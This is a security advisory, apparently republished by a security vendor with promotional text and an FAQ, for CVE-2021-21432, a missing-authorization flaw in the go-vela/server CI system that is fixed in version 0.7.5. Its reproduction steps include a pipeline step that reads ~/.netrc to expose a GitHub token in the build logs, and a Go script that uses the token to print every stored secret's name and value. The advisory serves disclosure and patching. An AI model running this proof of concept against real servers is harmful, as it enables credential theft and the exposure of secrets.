Summary
Reject unauthorized access with GitHub PATs
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- No known workarounds
References
Are there any links users can visit to find out more?
- https://github.com/go-vela/server/pull/246
- https://docs.github.com/en/[email protected]/rest/reference/apps#check-a-token
For more information
If you have any questions or comments about this advisory
- Email us at [email protected]
Impact
What kind of vulnerability is it? Who is impacted?
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce
Create Vela server
Login to Vela UI
Promote yourself to Vela administrator
UPDATE users SET admin = 't' WHERE name = <username>
Activate repository within Vela
Add
.vela.ymlto the repository with the following contentversion: "1" steps: - name: steal image: alpine commands: - cat ~/.netrcLook at build logs to find the following content
$ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token>Copy the password to be utilized in some later step
Add secret(s) to activated repo
Copy the following script into
main.gopackage main import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" ) func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) } // add PAT to request client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN")) secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{}) if err != nil { panic(err) } for _, secret := range *secrets { fmt.Println(*secret.Name) fmt.Println(*secret.Value) } }Run the
main.gowith environment specific settingsVELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go
The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
CVE-2021-21432 has a CVSS score of 7.5 (High). The vector is reachable from an adjacent network, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.7.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Has the problem been patched? What versions should users upgrade to?
- Upgrade to
v0.7.5or later
Frequently Asked Questions
- What is CVE-2021-21432? CVE-2021-21432 is a high-severity missing authorization vulnerability in github.com/go-vela/server (go), affecting versions >= 0.7.0, < 0.7.5. It is fixed in 0.7.5. The application does not perform an authorization check before performing a sensitive operation.
- How severe is CVE-2021-21432? CVE-2021-21432 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/go-vela/server are affected by CVE-2021-21432? github.com/go-vela/server (go) versions >= 0.7.0, < 0.7.5 is affected.
- Is there a fix for CVE-2021-21432? Yes. CVE-2021-21432 is fixed in 0.7.5. Upgrade to this version or later.
- Is CVE-2021-21432 exploitable, and should I be worried? Whether CVE-2021-21432 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2021-21432 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2021-21432? Upgrade
github.com/go-vela/serverto 0.7.5 or later.